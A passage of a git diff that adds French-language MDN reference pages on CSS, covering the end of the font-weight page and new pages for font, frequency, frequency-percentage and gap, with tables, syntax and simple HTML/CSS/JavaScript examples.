+<p>Lorsqu'on utilise les valeurs <code>lighter</code> ou <code>bolder</code>, on peut utiliser le tableau suivant pour calculer le poids absolu de l'élément :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Valeur héritée</th>
+   <th><code>bolder</code></th>
+   <th><code>lighter</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th>100</th>
+   <td>400</td>
+   <td>100</td>
+  </tr>
+  <tr>
+   <th>200</th>
+   <td>400</td>
+   <td>100</td>
+  </tr>
+  <tr>
+   <th>300</th>
+   <td>400</td>
+   <td>100</td>
+  </tr>
+  <tr>
+   <th>400</th>
+   <td>700</td>
+   <td>100</td>
+  </tr>
+  <tr>
+   <th>500</th>
+   <td>700</td>
+   <td>100</td>
+  </tr>
+  <tr>
+   <th>600</th>
+   <td>900</td>
+   <td>400</td>
+  </tr>
+  <tr>
+   <th>700</th>
+   <td>900</td>
+   <td>400</td>
+  </tr>
+  <tr>
+   <th>800</th>
+   <td>900</td>
+   <td>700</td>
+  </tr>
+  <tr>
+   <th>900</th>
+   <td>900</td>
+   <td>700</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Correspondance_entre_les_valeurs_numériques_et_les_noms_communément_utilisés"><a id="communs" name="communs">Correspondance entre les valeurs numériques et les noms communément utilisés</a></h3>
+
+<p>Les valeurs allant de 100 à 900 correspondent environ aux noms suivants, communément utilisés pour désigner les variantes de fonte, selon la graisse, d'une même police (<em>NdT : les noms sont laissés en anglais car généralement utilisés tels quels</em>) :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Valeur</th>
+   <th scope="col">Nom communément utilisé</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>100</td>
+   <td><em>Thin (Hairline)</em></td>
+  </tr>
+  <tr>
+   <td>200</td>
+   <td><em>Extra Light (Ultra Light)</em></td>
+  </tr>
+  <tr>
+   <td>300</td>
+   <td><em>Light</em></td>
+  </tr>
+  <tr>
+   <td>400</td>
+   <td><em>Normal</em></td>
+  </tr>
+  <tr>
+   <td>500</td>
+   <td><em>Medium</em></td>
+  </tr>
+  <tr>
+   <td>600</td>
+   <td><em>Semi Bold (Demi Bold)</em></td>
+  </tr>
+  <tr>
+   <td>700</td>
+   <td><em>Bold</em></td>
+  </tr>
+  <tr>
+   <td>800</td>
+   <td><em>Extra Bold (Ultra Bold)</em></td>
+  </tr>
+  <tr>
+   <td>900</td>
+   <td><em>Black (Heavy)</em></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Interpolation">Interpolation</h3>
+
+<p>Une valeur <code>font-weight</code> est interpolée de façon discrète (par multiple de 100). L'interpolation se produit sur des valeurs réelles puis la valeur est convertie au multiple de 100 le plus proche. Les valeurs à égale distance entre deux multiples de 100 sont arrondies à la valeur supérieure.</p>
+
+<h3 id="Polices_variables">Polices variables</h3>
+
+<p>La plupart des polices possèdent des niveaux de graisses qui correspondent aux <a href="#communs">niveaux communément utilisés</a>. Toutefois, certaines polices, appelées « polices variables » prennent en charge un intervalle de niveaux avec plus ou moins de détail, ce qui permet à l'éditeur du document de mieux contrôler la graisse utilisée.</p>
+
+<p>Pour les polices variables TrueType ou OpenType, c'est l'axe de variation <code>wght</code> qui est utilisé afin d'implémenter les variations de largeur.</p>
+
+<p>Pour que l'exemple suivant fonctionne, il est nécessaire d'utiliser un navigateur qui prend en charge la spécification <em>CSS Fonts</em> de niveau 4.</p>
+
+<div>{{EmbedLiveSample("variable-font-example", 1200, 180, "", "", "example-outcome-frame")}}</div>
+
+<h4 id="HTML">HTML</h4>
+
+<div id="variable-font-example">
+<pre class="brush: html">&lt;header&gt;
+    &lt;input type="range" id="weight" name="weight" min="1" max="1000" /&gt;
+    &lt;label for="weight"&gt;Weight&lt;/label&gt;
+&lt;/header&gt;
+&lt;div class="container"&gt;
+    &lt;p class="sample"&gt;...it would not be wonderful to meet a Megalosaurus, forty feet long or so, waddling like an elephantine lizard up Holborn Hill.&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">/*
+Mutator Sans is created by LettError (https://github.com/LettError/mutatorSans)
+and is used here under the terms of its license:
+https://github.com/LettError/mutatorSans/blob/master/LICENSE
+*/
+
+@font-face {
+  src: url('https://mdn.mozillademos.org/files/16011/MutatorSans.ttf');
+  font-family:'MutatorSans';
+  font-style: normal;
+}
+
+label {
+  font: 1rem monospace;
+  white-space: nowrap;
+}
+
+.container {
+  max-height: 150px;
+  overflow-y: auto;
+}
+
+.sample {
+  text-transform: uppercase;
+  font: 1.5rem 'MutatorSans', sans-serif;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">html, body {
+  max-height: 100vh;
+  max-width: 100vw;
+  overflow: hidden;
+}
+
+body {
+  display: flex;
+  flex-direction: column;
+}
+
+header {
+  margin-bottom: 1.5rem;
+}
+
+.container {
+  flex-grow: 1;
+}
+
+.container &gt; p {
+  margin-top: 0;
+  margin-bottom: 0;
+}
+</pre>
+</div>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">let weightLabel = document.querySelector('label[for="weight"]');
+let weightInput = document.querySelector('#weight');
+let sampleText = document.querySelector('.sample');
+
+function update() {
+  weightLabel.textContent = `font-weight: ${weightInput.value};`;
+  sampleText.style.fontWeight = weightInput.value;
+}
+
+weightInput.addEventListener('input', update);
+
+update();
+</pre>
+</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML_2">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  Alice was beginning to get very tired of sitting by her sister on the
+  bank, and of having nothing to do: once or twice she had peeped into the
+  book her sister was reading, but it had no pictures or conversations in
+  it, 'and what is the use of a book,' thought Alice 'without pictures or
+  conversations?'
+&lt;/p&gt;
+
+&lt;div&gt;I'm heavy&lt;br/&gt;
+  &lt;span&gt;I'm lighter&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS_2">CSS</h3>
+
+<pre class="brush:css">/* Le texte du paragraphe est gras. */
+p {
+  font-weight: bold;
+}
+
+/* Le texte du div est deux niveaux plus sombres
+   mais moins gras qu'une graisse normale. */
+div {
+ font-weight: 600;
+}
+
+/* Le texte dans le span est un niveau plus
+   clair que le parent. */
+span {
+  font-weight: lighter;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","400","300")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Pour les personnes ayant une vision faible, il peut être extrêmement difficile de lire un texte avec <code>font-weight</code> qui vaut <code>100</code> ou <code>200</code>, notamment <a href="/fr/docs/Web/CSS/color#Accessibilité">si le contraste entre le texte et l'arrière-plan est faible</a>.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Comprendre les règles WCAG 1.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-visual-presentation.html" rel="noopener"><em>Understanding Success Criterion 1.4.8 - W3C Understanding WCAG 2.0</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Fonts', '#font-weight-prop', 'font-weight')}}</td>
+   <td>{{Spec2('CSS4 Fonts')}}</td>
+   <td>Définition de <code>font-weight</code> qui précise que la propriété peut utiliser des valeurs comprises entre <code>1</code> et <code>1000</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#font-weight-prop', 'font-weight')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Aucun changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'font-weight')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>font-weight</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'fonts.html#propdef-font-weight', 'font-weight')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucun changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#font-weight', 'font-weight')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.font-weight")}}</p>
diff --git a/files/fr/web/css/font/index.html b/files/fr/web/css/font/index.html
new file mode 100644
index 0000000000..7dcfa34eae
--- /dev/null
+++ b/files/fr/web/css/font/index.html
@@ -0,0 +1,236 @@
+---
+title: font
+slug: Web/CSS/font
+tags:
+  - CSS
+  - Polices CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/font
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>font</code></strong> est :</p>
+
+<ul>
+ <li>une propriété raccourcie permettant de définir rapidement {{cssxref("font-style")}}, {{cssxref("font-variant")}}, {{cssxref("font-weight")}},  {{cssxref("font-stretch")}}, {{cssxref("font-size")}}, {{cssxref("line-height")}} et {{cssxref("font-family")}}</li>
+ <li>ou une propriété permettant d'utiliser une police système pour la police de caractères d'un élément grâce à certains mots-clés spécifiques.</li>
+</ul>
+
+<div>{{EmbedInteractiveExample("pages/css/font.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Comme pour les autres propriétés CSS, les valeurs qui ne sont pas définies avec la propriété raccourcie sont définies avec leur valeur initiale, ce qui peut surcharger les valeurs définies précédemment avec les propriétés « détaillées ». Bien qu'elles ne puissent pas directement être paramétrées avec <code>font</code>, les propriétés détaillées, {{cssxref("font-size-adjust")}}, et {{cssxref("font-kerning")}} sont également réinitialisées avec leurs valeurs initiales.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css">/* size | family */
+font: 2em "Open Sans", sans-serif;
+
+/* style | size | family */
+font: italic 2em "Open Sans", sans-serif;
+
+/* style | variant | weight | size/line-height | family */
+font: italic small-caps bolder 16px/3 cursive;
+
+/* style | variant | weight | stretch | size/line-height | family */
+font: italic small-caps bolder condensed 16px/3 cursive;
+
+/* Mots-clés indiquant la police à utiliser */
+/* pour les boîtes de dialogue système      */
+font: message-box;
+font: icon;
+
+/* Valeurs globales */
+font: inherit;
+font: initial;
+font: unset;
+</pre>
+
+<p>La propriété <code>font</code> peut être définie avec un seul mot-clé (qui sélectionnera la police système à utiliser) ou comme propriété raccourcie pour paramétrer les différentes propriétés relatives aux polices.</p>
+
+<p>Si <code>font</code> est définie grâce à un mot-clé, ce mot-clé doit être : <a href="#keyword"><code>caption</code>, <code>icon</code>, <code>menu</code>, <code>message-box</code>, <code>small-caption</code> ou <code>status-bar</code></a>.</p>
+
+<p>Si <code>font</code> est définie comme une propriété raccourcie :</p>
+
+<ul>
+ <li>La déclaration devra inclure des valeurs pour :
+  <ul>
+   <li>{{cssxref("&lt;font-size&gt;")}}</li>
+   <li>{{cssxref("&lt;font-family&gt;")}}</li>
+  </ul>
+ </li>
+ <li>La déclaration pourra éventuellement inclure des valeurs pour :
+  <ul>
+   <li>{{cssxref("&lt;font-style&gt;")}}</li>
+   <li>{{cssxref("&lt;font-variant&gt;")}}</li>
+   <li>{{cssxref("&lt;font-weight&gt;")}}</li>
+   <li>{{cssxref("&lt;font-stretch&gt;")}}</li>
+   <li>{{cssxref("&lt;line-height&gt;")}}</li>
+  </ul>
+ </li>
+ <li>Les valeurs pour <code>font-style</code>, <code>font-variant</code> et <code>font-weight</code> doivent précéder la valeur pour <code>font-size</code></li>
+ <li>La valeur de <code>font-variant</code> ne peut utiliser que les valeurs définies en CSS 2.1 : <code>normal</code> et <code>small-caps</code></li>
+ <li>La valeur de <code>font-stretch</code> ne peut être qu'un mot-clé.</li>
+ <li>La valeur pour <code>line-height</code> doit immédiatement suivre la valeur pour <code>font-size</code>, séparée par une barre oblique (par exemple "<code>16px/3</code>")</li>
+ <li>La valeur pour <code>font-family</code> doit être la dernière fournie.</li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;'font-style'&gt;</code></dt>
+ <dd>Voir la propriété {{cssxref("font-style")}}.</dd>
+ <dt><code>&lt;'font-variant'&gt;</code></dt>
+ <dd>Voir la propriété {{cssxref("font-variant")}}.</dd>
+ <dt><code>&lt;'font-weight'&gt;</code></dt>
+ <dd>Voir la propriété {{cssxref("font-weight")}}.</dd>
+ <dt><code>&lt;'font-stretch'&gt;</code></dt>
+ <dd>Voir la propriété {{cssxref("font-stretch")}}.</dd>
+ <dt><code>&lt;'font-size'&gt;</code></dt>
+ <dd>Voir la propriété {{cssxref("font-size")}}.</dd>
+ <dt><code>&lt;'line-height'&gt;</code></dt>
+ <dd>Voir la propriété {{cssxref("line-height")}}.</dd>
+ <dt><code>&lt;'font-family'&gt;</code></dt>
+ <dd>Voir la propriété {{cssxref("font-family")}}.</dd>
+ <dt><a id="keyword">Polices système :<code>caption</code> <code>icon</code> <code>menu</code> <code>message-box</code> <code>small-caption</code> <code>status-bar</code></a></dt>
+ <dd>Un mot-clé peut être utilisé pour indiquer une police système spécifique :
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><code>caption</code></td>
+    <td>La police système utilisée pour les libellés des contrôles (par exemples les boutons, listes déroulantes, etc.).</td>
+   </tr>
+   <tr>
+    <td><code>icon</code></td>
+    <td>La police système utilisée pour les textes accompagnant les icônes.</td>
+   </tr>
+   <tr>
+    <td><code>menu</code></td>
+    <td>La police système utilisée pour les menus.</td>
+   </tr>
+   <tr>
+    <td><code>message-box</code></td>
+    <td>La police système utilisée dans les boîtes de dialogue.</td>
+   </tr>
+   <tr>
+    <td><code>small-caption</code></td>
+    <td>La police système utilisée pour les libellés des contrôles de petite taille.</td>
+   </tr>
+   <tr>
+    <td><code>status-bar</code></td>
+    <td>La police système utilisée dans les barres de statut de la fenêtre.</td>
+   </tr>
+  </tbody>
+ </table>
+ La plupart du temps, les navigateurs implémentent d'autres valeurs, préfixées. Par exemple, Gecko implémente <code>-moz-window</code>, <code>-moz-document</code>, <code>-moz-desktop</code>, <code>-moz-info</code>, <code>-moz-dialog</code>, <code>-moz-button</code>, <code>-moz-pull-down-menu</code>, <code>-moz-list</code> and <code>-moz-field</code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* La corps de la police sera  12px */
+/* La hauteur de ligne 14px et la   */
+/* famille de polices sans-serif    */
+
+.exemple1 {
+  font: 12px/14px sans-serif;
+}
+
+/* La taille de la police mesurera   */
+/* 80% de celle de l'élément parent  */
+/* ou la valeur par défaut et la     */
+/* famille de police sera sans-serif */
+
+.exemple2 {
+  font: 80% sans-serif;
+}
+
+/* La graisse est activée, le style    */
+/* est italique, la taille est grande  */
+/* et la famille est serif.            */
+
+.gras_italique_serif {
+  font: bold italic large serif;
+}
+
+/* On utilise la même police que pour */
+/* la barre de statut de la fenêtre.  */
+.statut {
+  font: status-bar;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="exemple1"&gt;
+  « Toujours aussi mouillée, » dit Alice tristement.
+  « Je ne sèche que d’ennui. »
+&lt;/p&gt;
+
+&lt;p class="exemple2"&gt;
+  « Dans ce cas, » dit le Dodo avec emphase, se
+  dressant sur ses pattes, « je propose l’ajournement,
+  et l’adoption immédiate de mesures énergiques. »
+&lt;/p&gt;
+
+&lt;p class="gras_italique_serif"&gt;
+  « Parlez français, » dit l’Aiglon ; « je ne
+  comprends pas la moitié de ces grands mots, et, qui
+  plus est, je ne crois pas que vous les compreniez
+  vous-même. » L’Aiglon baissa la tête pour cacher
+  un sourire, et quelques-uns des autres oiseaux
+  ricanèrent tout haut.
+&lt;/p&gt;
+
+&lt;p class="statut"&gt;
+  « J’allais proposer, » dit le Dodo d’un ton vexé,
+  « une course cocasse ; c’est ce que nous pouvons
+  faire de mieux pour nous sécher. »
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","300","500")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#font-prop', 'font')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Prise en charge des valeurs de <code>font-stretch</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'fonts.html#font-shorthand', 'font-weight')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Prise en charge des mots-clés.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#font', 'font')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.font")}}</p>
diff --git a/files/fr/web/css/frequency-percentage/index.html b/files/fr/web/css/frequency-percentage/index.html
new file mode 100644
index 0000000000..b2c35567a3
--- /dev/null
+++ b/files/fr/web/css/frequency-percentage/index.html
@@ -0,0 +1,50 @@
+---
+title: <frequency-percentage>
+slug: Web/CSS/frequency-percentage
+tags:
+  - CSS
+  - Reference
+  - Type
+translation_of: Web/CSS/frequency-percentage
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de donnée <strong><code>&lt;frequency-percentage&gt;</code></strong> représente une valeur qui peut être une valeur de type {{Cssxref("frequency")}} ou une valeur de type {{Cssxref("percentage")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Se référer à la documentation des types {{Cssxref("frequency")}} et {{Cssxref("percentage")}} pour plus de détails sur les syntaxes possibles avec chacun de ces types.</p>
+
+<h2 id="Utilisation_avec_calc()">Utilisation avec <code>calc()</code></h2>
+
+<p>Lorsqu'une valeur de type <code>&lt;frequency-percentage&gt;</code> peut être utilisée dans une déclaration, cela signifie que le pourcentage sera résolu comme une fréquence et qu'il peut alors être utilisé dans une expression <code><a href="/fr/docs/Web/CSS/calc">calc()</a></code>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Values', '#mixed-percentages', '&lt;frequency-percentage&gt;')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#mixed-percentages', '&lt;frequency-percentage&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Définition du type <code>&lt;frequency-percentage&gt;</code>. Ajout de <code>calc()</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.types.frequency-percentage")}}</p>
diff --git a/files/fr/web/css/frequency/index.html b/files/fr/web/css/frequency/index.html
new file mode 100644
index 0000000000..6ebf21cde4
--- /dev/null
+++ b/files/fr/web/css/frequency/index.html
@@ -0,0 +1,70 @@
+---
+title: <frequency>
+slug: Web/CSS/frequency
+tags:
+  - CSS
+  - Reference
+  - Type
+translation_of: Web/CSS/frequency
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de donnée CSS <strong><code>&lt;frequency&gt;</code></strong> permet de représenter des fréquences (par exemple la hauteur d'une voie). Ce type n'est actuellement utilisé pour aucune propriété CSS.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une valeur de type <code>&lt;frequency&gt;</code> se compose d'une valeur {{cssxref("&lt;number&gt;")}} suivi immédiatement d'une unité de fréquence. Comme pour les autres dimensions CSS, il n'y a pas d'espace entre le nombre et le littéral de l'unité.</p>
+
+<h3 id="Unités">Unités</h3>
+
+<dl>
+ <dt><code>Hz</code></dt>
+ <dd>Permet de représenter des fréquences exprimées en Hertz (par exemple <code>0Hz</code>, <code>1500Hz</code>, <code>10000Hz</code>)</dd>
+ <dt><code>kHz</code></dt>
+ <dd>Permet de représenter des fréquences exprimées en kilohertz (par exemple <code>0kHz</code>, <code>1.5kHz</code>, <code>10kHz</code>).</dd>
+</dl>
+
+<p>Bien que la valeur nulle puisse être représentée avec le même littéral pour les deux unités, l'unité ne doit pas être absente sinon la valeur sera interprétée comme une valeur de longueur (type {{cssxref("length")}}) et ne représentera ni <code>0Hz</code> ni <code>0kHz</code>. Bien que les unités CSS soient insensibles à la casse, c'est une bonne pratique que d'utiliser un H majuscule pour <code>Hz</code> et <code>kHz</code> car selon le <a href="https://fr.wikipedia.org/wiki/Syst%C3%A8me_international_d%27unit%C3%A9s">système international</a>, <a href="https://fr.wikipedia.org/wiki/Heinrich_Rudolf_Hertz">Hertz</a> est un nom de famille.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Valeurs_valides">Valeurs valides</h3>
+
+<pre class="brush: css example-good">12Hz     Entier positif
+4.3Hz    Flottant
+14KhZ    Unité insensible à la casse
++0Hz     Zero avec un signe + et une unité
+-0kHz    Zero avec un signe - et une unité</pre>
+
+<h3 id="Valeurs_invalides">Valeurs invalides</h3>
+
+<pre class="brush: css example-bad">12.0     Cette valeur est un nombre pas une fréquence (il manque l'unité).
+7 Hz     Aucun espace n'est autorisé entre le nombre et l'unité.
+0        Bien qu'un zéro puisse être utilisé sans unité pour une longueur, ce n'est pas le cas pour une fréquence.</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#frequency', '&lt;frequency&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Ce type de donnés fut initialement introduit avec la spécification <a class="external" href="https://www.w3.org/TR/CSS2/">CSS Niveau 2</a> pour le <a href="/fr/docs/Web/CSS/@media/aural">groupe de média aural</a> qui est désormais obsolète. Ce type de données a donc été déprécié puis réintroduit avec CSS3 bien qu'aucune propriété ne l'utilise à l'heure actuelle.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.types.frequency")}}</p>
diff --git a/files/fr/web/css/gap/index.html b/files/fr/web/css/gap/index.html
new file mode 100644
index 0000000000..8ce73e5e32
--- /dev/null
+++ b/files/fr/web/css/gap/index.html
@@ -0,0 +1,228 @@
+---
+title: gap (grid-gap)
+slug: Web/CSS/gap
+tags:
+  - CSS
+  - Propriété
+  - Propriété raccourcie
+  - Reference
+translation_of: Web/CSS/gap
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>gap</code></strong> est <a href="/fr/docs/Web/CSS/Propriétés_raccourcies">une propriété raccourcie</a> pour {{cssxref("row-gap")}} et {{cssxref("column-gap")}} qui permet de définir les espaces entre les lignes et entre les colonnes d'une grille.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/gap.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> La propriété {{cssxref("grid-gap")}} a initialement été définie dans le module de spécification <a href="/fr/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a>. Cette version préfixée a été remplacée par <code>gap</code>. Toutefois, à des fins de compatibilité envers les navigateurs qui n'implémentent pas encore la version non-préfixée, mieux vaut utiliser les deux versions.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* Une valeur de longueur */
+/* Type &lt;length&gt;          */
+gap: 20px;
+gap: 1em;
+gap: 3vmin;
+gap: 0.5cm;
+
+/* Une valeur proportionnelle */
+/* Type &lt;percentage&gt;          */
+gap: 16%;
+gap: 100%;
+
+/* Deux valeurs de longueur */
+gap: 20px 10px;
+gap: 1em 0.5em;
+gap: 3vmin 2vmax;
+gap: 0.5cm 2mm;
+
+/* Une ou deux valeurs proportionnelles */
+/* Type &lt;percentage&gt;             */
+gap: 16% 100%;
+gap: 21px 82%;
+
+/* Valeurs calc() */
+gap: calc(10% + 20px);
+gap: calc(20px + 10%) calc(10% - 5px);
+
+/* Valeurs globales */
+gap: inherit;
+gap: initial;
+gap: unset;
+</pre>
+
+<p>Cette propriété est définie avec une valeur <code>&lt;'row-gap'&gt;</code>, éventuellement suivi d'une valeur <code>&lt;'column-gap'&gt;</code>. Si <code>&lt;'column-gap'&gt;</code> n'est pas utilisée, la valeur utilisée sera la même que <code>&lt;'row-gap'&gt;</code>.</p>
+
+<p><code>&lt;'row-gap'&gt;</code> et <code>&lt;'column-gap'&gt;</code> sont des valeurs de type <code>&lt;length&gt;</code> ou <code>&lt;percentage&gt;</code>.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>La largeur de l'espace entre les lignes et/ou entre les colonnes (cf. {{cssxref("&lt;length&gt;")}} pour les valeurs utilisables).</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>La largeur de l'espace entre les lignes et/ou entre les colonnes en fonction de la taille de l'élément englobant (cf. {{cssxref("&lt;percentage&gt;")}} pour les valeurs utilisables).</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Disposition_flexible">Disposition flexible</h3>
+
+<p>{{SeeCompatTable}}</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html; notranslate">&lt;div id="flexbox"&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css; highlight[5] notranslate">#flexbox {
+  display: flex;
+  flex-wrap: wrap;
+  width: 300px;
+  gap: 20px 5px;
+}
+
+#flexbox &gt; div {
+  border: 1px solid green;
+  background-color: lime;
+  flex: 1 1 auto;
+  width: 100px;
+  height: 50px;
+
+}
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Disposition_flexible", "auto", "120px")}}</p>
+
+<h3 id="Grilles_CSS">Grilles CSS</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html; notranslate">&lt;div id="grid"&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
